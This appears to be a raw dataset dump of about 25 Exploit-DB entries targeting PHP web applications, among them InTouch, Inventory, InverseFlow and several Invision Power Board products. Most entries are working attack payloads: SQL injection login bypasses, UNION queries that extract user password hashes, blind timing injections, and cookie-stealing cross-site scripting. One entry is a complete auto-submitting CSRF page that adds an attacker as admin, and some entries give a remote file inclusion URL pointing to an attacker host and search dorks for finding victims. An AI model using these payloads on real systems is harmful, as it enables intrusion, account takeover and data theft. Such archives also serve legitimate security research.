deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27003
Description: InTouch 0.5.1 Alpha - User Variable SQL Injection
Type: webapps
Platform: php
Date: 2006-01-01
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16110/info

inTouch is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/index.php

username: a' or 'a'='a'/*
[CREDENTIAL_REDACTED]
Exploit-DB #11481
Description: intuitive - 'form.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-17
Author: AtT4CKxT3rR0r1ST

Exploit:
intuitive (form.php) Sql Injection Vulnerability
==============================================================

####################################################################
.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]
.:. Home : www.sec-attack.com/vb [Sec Attack Team]
.:. Script : http://www.intuitive-websites.com/
.:. Bug Type : Sql Injection[Mysql]
.:. Dork : "site powered by intuitive-websites.com"

####################################################################

===[ Exploit ]===

www.site.com/form.php?id=null[Sql]

www.site.com/form.php?id=-null+union+select+null,version(),null,user(),5,database(),7,null,null,10,null,null,13,null,null,16,17

T0 Bypass Forbidden

www.site.com/form.php?id=-null+UNION+ALL+SELECT+null,version(),null,user(),5,database(),7,null,null,10,null,null,13,null,null,16,17

####################################################################
Exploit-DB #37974
Description: Inventory - Multiple Cross-Site Scripting / SQL Injections
Type: webapps
Platform: php
Date: 2012-10-26
Author: G13

Exploit:
source: https://www.securityfocus.com/bid/56293/info

Inventory is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Inventory 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/inventory/consulta_fact.php?fact_num=17 AND SLEEP(5)
http://www.example.com/inventory/addinventario.php?ref=[PII_REDACTED]@example.com'AND SLEEP(5) AND 'EJxe'='EJxe&sn=555-555- 0199@example.com' AND SLEEP(5) AND 'IgkP'='IgkP&factura=[PII_REDACTED]@example.com' AND SLEEP(5) AND 'CFdY'='CFdY
http://www.example.com/inventory/newtransact.php?ref=RSC-280' AND SLEEP(5) AND 'wIUB'='wIUB
http://www.example.com/inventory/consulta_fact.php?fact_num=<script>alert(1)</script>
http://www.example.com/inventory/newinventario.php?sn=<script>alert(100)</script>
http://www.example.com/inventory/newtransact.php?ref=<script>alert(100)</script>
Exploit-DB #47356
Description: Inventory Webapp - 'itemquery' SQL injection
Type: webapps
Platform: php
Date: 2019-09-06
Author: mohammad zaheri

Exploit:
# Exploit Title: Inventory Webapp SQL injection
# Data: 05.09.2019
# Exploit Author: mohammad zaheri
# Vendor HomagePage: https://github.com/edlangley/inventory-webapp
# Tested on: Windows
# Google Dork: N/A


=========
Vulnerable Page:
=========
/php/add-item.php


==========
Vulnerable Source:
==========
Line39: $name = $_GET["name"];
Line39: $description = $_GET["description"];
Line39: $quantity = $_GET["quantity"];
Line39: $cat_id = $_GET["cat_id"];
Line49: if(mysql_query($itemquery, $conn))



=========
POC:
=========
http://site.com/php/add-item.php?itemquery=[SQL]



=========
Contact Me :
=========
Telegram : @m_zhrii
Email : neoboy503@gmail.com
Exploit-DB #18022
Description: InverseFlow 2.4 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2011-10-23
Author: EjRaM HaCkEr

Exploit:
#(+) Exploit Title: InverseFlow v2.4 CSRF Vulnerabilities (Add Admin User) 

#(+) Version   : 2.4

#(+) Author    : EjRaM HaCkEr  

#(+) Contact   : m2z()9.cn

#(+) Dork      : inurl:"ticket.php?cmd=lost"
#(+) Software Link : http://asria.info/download/script/inverseflow.zip 


0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  


# All you have to do is save the below code as exploit.html  

# will automatically add the attacker as Admin without warning ;)

# The password will be sent automatically to email ;)



Code:  



<html>
<head>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "2360" );

function pausecomp(millis)
{
    var date = new Date();
    var curDate = null;

    do { curDate = new Date(); }
    while(curDate-date < millis);
}

function fireForms()
{
    var count = 1;
    var i=0;
    
    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
        
        pausecomp(pauses[i]);
    }
}
    
</script>
<form method="POST" name="form0" action="http://localhost/support/user.php">
<input type="hidden" name="cmd" value="add"/>
<input type="hidden" name="name" value="ejram hacker"/>
<input type="hidden" name="email" value="ejram@gmail.com"/>
</form>

</body>
</html>

########################################################################  

(+)Exploit Coded by: EjRaM HaCkEr   

(+)Gr33ts to : tryag.cc + r00t-s3c.com + v99x.com :)  

########################################################################
Exploit-DB #36253
Description: InverseFlow 2.4 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-10-24
Author: Amir Expl0its

Exploit:
source: https://www.securityfocus.com/bid/50344/info

InverseFlow is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

An attacker could exploit these vulnerabilities to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

InverseFlow 2.4 is vulnerable; other versions may also be affected. 

http://www.example.com/inver/inverseflow/ticketview.php?email= [XSS]

http://www.example.com/inver/inverseflow/ticketview.php?email=&id=[XSS]

http://www.example.com/inver/inverseflow/login.php?redirect=[XSS]
Exploit-DB #22461
Description: Invision Board 1.1.1 - 'functions.php' SQL Injection
Type: webapps
Platform: php
Date: 2003-04-05
Author: Gossi The Dog

Exploit:
source: https://www.securityfocus.com/bid/7290/info

An input validation error has been reported in Invision Board which may result in the manipulation of SQL queries. This vulnerability exists in the functions.php script file.

An attacker may be able to exploit this vulnerability by manipulating some URI parameter to include malicious SQL commands and queries which may result in information disclosure, or database corruption. 

http://www.example.com/index.php?skinid=99+AND+s.hidden%3D0+UNION+SELECT+s.*%2C+t.template%2C+c.password+FROM+ibf_skins+s+LEFT+JOIN+ibf_templates+t+ON+%28t.tmid%3Ds.tmpl_id%
29+LEFT+JOIN+ibf_members+c+ON+%28c.id%3D1%29+WHERE+s.sid%3D1+AND+s.hidden%3D0
Exploit-DB #22295
Description: Invision Board 1.1.1 - 'ipchat.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-02-27
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6976/info

Invision Board is prone to an issue that may allow remote attackers to include files located on attacker-controlled servers.

This vulnerability is as a result of insufficient sanitization performed on remote user supplied data used in URI parameters of certain PHP pages.

Under some circumstances, it may be possible for remote attackers to influence the include path for a global configuration file to point to an external file on a remote server.

If the remote file is a malicious file, this vulnerability may be exploited to execute arbitrary system commands in the context of the web server. 

http://www.example.com/ipchat.php?root_path=http://www.attacker.com/conf_global.php
Exploit-DB #25808
Description: Invision Community Blog 1.0/1.1 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2005-06-09
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/13910/info

Multiple input validation vulnerabilities reportedly affect Invision Community Blog. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.

The first issue is a cross-site scripting issue and the second set of issues are SQL injection issues.

An attacker may leverage these issues to carry out cross-site scripting and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks. 

SQL Injection
http://www.example.com/index.php?automodule=blog&blogid=1&cmd=editentry&eid=99%20UNION%20SELECT%201,0,0,name,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members%20WHERE%201/*
http://www.example.com/index.php?automodule=blog&blogid=1&cmd=replyentry&eid=99%20UNION%20SELECT%201,0,0,name,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members%20WHERE%201/*
http://www.example.com/index.php?automodule=blog&blogid=1&cmd=editcomment&eid=1&cid=-99%20UNION%20SELECT%201,0,0,0,0,0,0,0,0,0,0,0,0,name%20FROM%20ibf_members%20WHERE%201/*
http://www.example.com/index.php?automodule=blog&blogid=1&cmd=aboutme&mid=2'
Exploit-DB #2877
Description: Invision Community Blog Mod 1.2.4 - SQL Injection
Type: webapps
Platform: php
Date: 2006-12-01
Author: anonymous

Exploit:
1. Open any blog entry
2. Try to reply to any message
3. Push "Preview message" button (Do not post your reply)
4. Save source code of opened page to your PC
5. Find this string <input type='hidden' name='eid' value='<BLOG_ENTRY_ID>' />

6. Change <BLOG_ENTRY_ID> with this SQL Injection:

<BLOG_ENTRY_ID> UNION  SELECT b.entry_id,  b.blog_id, b.category_id, b.entry_author_id, b.entry_author_name, b.entry_date, member_login_key, b.entry_category, b.entry, b.entry_status, b.entry_locked, b.entry_num_comments, b.entry_last_comment, b.entry_last_comment_date, b.entry_last_comment_name, b.entry_last_comment_mid, b.entry_queued_comments, b.entry_has_attach, b.entry_post_key, b.entry_edit_time, b.entry_edit_name, b.entry_html_state, b.entry_use_emo, b.entry_trackbacks, b.entry_sent_trackbacks, b.entry_last_update, b.entry_gallery_album, b.entry_poll_state, b.entry_last_vote FROM ibf_members, ipb_blog_entries b WHERE id=<USER_ID> and b.entry_id=<BLOG_ENTRY_ID> LIMIT 1,1

<USER_ID> - ID of the user whom password you want to get.

7. Push "Preview Button" again.

8. After refresh instead of blog entry name you will get users's HASH password.

9. Change your cookies in your favorite browser and open board. You will be automaticaly logged in as the user whom password you just got.

# milw0rm.com [2006-12-01]
Exploit-DB #26438
Description: Invision Gallery 2.0.3 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-10-31
Author: almaster

Exploit:
source: https://www.securityfocus.com/bid/15240/info

Invision Gallery is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?automodule=gallery&cmd=sc&cat=26&sort_key=date&order_key=DESC&prune_key=30&st='[SQL]
Exploit-DB #24180
Description: Invision Gallery 2.0.5 - SQL Injection
Type: webapps
Platform: php
Date: 2013-01-17
Author: Ashiyane Digital Security Team

Exploit:
##############
# Exploit Title : Invision Gallery SQL Injection
#
# Exploit Author : Ashiyane Digital Security Team
#
# software Homepage: www.invisionpower.com/apps/gallery/
#
# Home : ww.Ashiyane.org
#
# Security Risk : High - SQL Injection
#
# version : 2.0.5
#
# Dork : Invision Gallery 2.0.5 © 2013  IPS, Inc.   inurl:img=  or Invision Gallery 2.0.5  IPS, Inc.   inurl:img=
#
##############
#location: site/index.php?automodule=gallery&cmd=si&img=[SQL]
#  or site/act=module&module=gallery&cmd=si&img=[SQL]  
#
##############
# [Inject with Havij or inject manually]
##############
#Greetz to: My Lord ALLAH
##############
#
#Amirh03in
#
##############
Exploit-DB #29205
Description: Invision Gallery 2.0.7 - 'index.php?IMG' SQL Injection
Type: webapps
Platform: php
Date: 2006-12-01
Author: infection

Exploit:
source: https://www.securityfocus.com/bid/21388/info

Invision Gallery is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/index.php?automodule=gallery&cmd=postcomment&op=doaddcomment&Post=test&img=111 OR id IN (SELECT BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date))) FROM ipb_gallery_images )
Exploit-DB #26104
Description: Invision Power Board (IP.Board) 1.0.3 - Attached File Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-08
Author: V[i]RuS

Exploit:
source: https://www.securityfocus.com/bid/14492/info

Invision Power Board is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue is reported to affect Invision Power Board 1.0.3; other 1.x versions of the application may also be affected. However, the 2.x versions of the application are reported not vulnerable to this issue. 

<html>
<body>
<script>alert('Css found By V[i]RuS');</script>
</body>
</html>
Exploit-DB #23001
Description: Invision Power Board (IP.Board) 1.0/1.1/1.2 - 'admin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-08-09
Author: Boy Bear

Exploit:
source: https://www.securityfocus.com/bid/8381/info

Invision Power Board admin.php script reported prone to a cross-site scripting vulnerability.

The issue presents itself due to a lack of sufficient sanitization performed by functions in an Invision Power Board script on user-influenced URI parameters. It has been reported that a remote attacker may construct a malicious link to the affected script hosted on a remote site, and supply arbitrary HTML code as a value for a URI parameter. If this link is followed, the content of the URI parameter will be rendered in the browser of the user who followed the link.

http://www.example.com/admin.php?adsess='><script>window.open
(window.location.search.substring
(78));</script><http://www.attacker.com?BoyBear$$$From$$$BinaryVision
Exploit-DB #23795
Description: Invision Power Board (IP.Board) 1.3 - 'Pop' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-03-09
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/9822/info

It has been reported that Invision Power Board may be prone to a cross-site scripting vulnerability. This may allow a remote attacker to cause hostile HTML or script code to be rendered in a user's browser via a malicious link to a vulnerable site.. The issue presents itself due to insufficient sanitization of user-supplied data via the 'pop' URI parameter, which will be included in dynamically generated web pages.

Invision Power Board 1.3 Final has been reported to be affected by this issue, however, it is possible that other versions are vulnerable as well.

http://<host>/forum//index.php?s=&act=chat&pop=1;'><script>alert('this could be your cookie')</script>
Exploit-DB #24199
Description: Invision Power Board (IP.Board) 1.3 - 'SSI.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-06-14
Author: IMAN Sharafoddin

Exploit:
source: https://www.securityfocus.com/bid/10539/info

Invision Power Board 'ssi.php' script reported prone to a cross-site scripting vulnerability. The issue presents itself due to a lack of sufficient sanitization performed by functions in the 'ssi.php' script on user-influenced 'f' parameter. This can permit the theft of cookie-based authentication credentials; other attacks may also be possible.

http://www.example.com/hyper/ssi.php?a=out&type=xml&f=<script>alert("ALOooooooooo");</script>
Exploit-DB #23767
Description: Invision Power Board (IP.Board) 1.3 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-03-01
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/9768/info

Invision Power Board is prone to multiple cross-site scripting vulnerabilities.

These issues are due to insufficient sanitization of input supplied via the 'c', 'f', , 'showuser', and 'username' URI parameters. This input will be included in dynamically generated pages, making it possible for an attacker to create a malicious link to a vulnerable site that includes hostile HTML and script code. This code may be rendered in the browser of a victim user who visits the malicious link, potentially allowing for theft of cookie-based credentials or other attacks.

These issues are reported to affect Invision Power Board 1.3 Final. Earlier versions may also be affected.

http://www.example.com/?c='><script>alert(window.document.url)</script><plaintext>
http://www.example.com/?act=SR&f='><script>alert(document.cookie)</script>
http://www.example.com/?showuser='><script>alert(document.cookie)</script>
http://www.example.com/index.php?act=Reg&CODE=2&coppa_user=0&UserName='><script>alert
(document.cookie)</script>
Exploit-DB #23129
Description: Invision Power Board (IP.Board) 1.x - 'index.php' showtopic Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-09-09
Author: Boy Bear

Exploit:
source: https://www.securityfocus.com/bid/8575/info

Invision Power Board is prone to a cross-site scripting vulnerability. It has been reported that a remote attacker may construct a malicious link to the index.php script and supply arbitrary HTML code as a value for the 'showtopic' URI parameter. If this link is followed, the content of the URI parameter will be rendered in the browser of the user who followed the link. 

http://www.example.com/index.php?showtopic='><script>window.open
(window.location.search.substring(79))
</script>http://binaryvision.tech.nu?BoyBear$$$From$$$BinaryVision
http://www.example.com/?showtopic='><script>alert(window.document.url)</script><plaintext>
Exploit-DB #25143
Description: Invision Power Board (IP.Board) 1.x/2.0.3 - SML Code Script Injection
Type: webapps
Platform: php
Date: 2005-02-21
Author: Daniel A.

Exploit:
source: https://www.securityfocus.com/bid/12607/info

Invision Power Board is reported prone to a JavaScript injection vulnerability. It is reported that the SML Code 'COLOR' tag is not sufficiently sanitized of malicious script content.

Since this could permit an attacker to inject hostile JavaScript into the forum system, it is possible to steal cookie credentials or misrepresent site content.

This vulnerability is reported to affect Invision Power Board version 1.3.1; previous versions might also be affected.

Invision Power Board 2.0.3 is also reported vulnerable to this issue. 

[COLOR=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]`style=background:url("javascript:[code]") [/color]
Exploit-DB #28167
Description: Invision Power Board (IP.Board) 1.x/2.x - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-07-05
Author: CrAzY CrAcKeR

Exploit:
source: https://www.securityfocus.com/bid/18836/info

Invision Power Board is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied data before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/index.php?act=ketqua&code=showcat&idcat=[SQL] 
http://www.example.com/index.php?act=Attach&type=post&id=[SQL] 
http://www.example.com/index.php?act=Profile&CODE=[SQL] 
http://www.example.com/index.php?act=ketqua&code=[SQL] 
http://www.example.com/coins_list.php?member_id=[SQL] 
http://www.example.com/index.php?act=Login&CODE=[SQL] 
http://www.example.com/index.php?act=Help&CODE=[SQL] 
http://www.example.com/index.php?act=ref&id=[SQL]
Exploit-DB #25593
Description: Invision Power Board (IP.Board) 2.0.3/2.1 - 'Act' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-03
Author: arron ward

Exploit:
source: https://www.securityfocus.com/bid/13483/info

Invision Power Board is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

It is reported this issue may only be exploitable through Microsoft Internet Explorer; this has not been confirmed. 

http://www.example.com/index.php?act='><script>alert(document.cookie)</script>
Exploit-DB #27437
Description: Invision Power Board (IP.Board) 2.0.4 - 'index.php?st' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-17
Author: Mr.SNAKE

Exploit:
source: https://www.securityfocus.com/bid/17144/info
 
Invision Power Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/forum/index.php?showtopic=1&st='><script>alert(document.cookie)</script>
Exploit-DB #27438
Description: Invision Power Board (IP.Board) 2.0.4 - Calendar Action Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-17
Author: Mr.SNAKE

Exploit:
source: https://www.securityfocus.com/bid/17144/info
  
Invision Power Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/forum/index.php?act=calendar&code=birthdays&y=[any year]&m='><script>alert(document.cookie)</script>&d=[any day]
http://www.example.com/forum/index.php?act=calendar&code=birthdays&y='><script>alert(document.cookie)</script>&m=[any month]&d=[any day]
http://www.example.com/forum/index.php?act=calendar&code=birthdays&y=[any year]&m=[any month]&d='><script>alert(document.cookie)</script>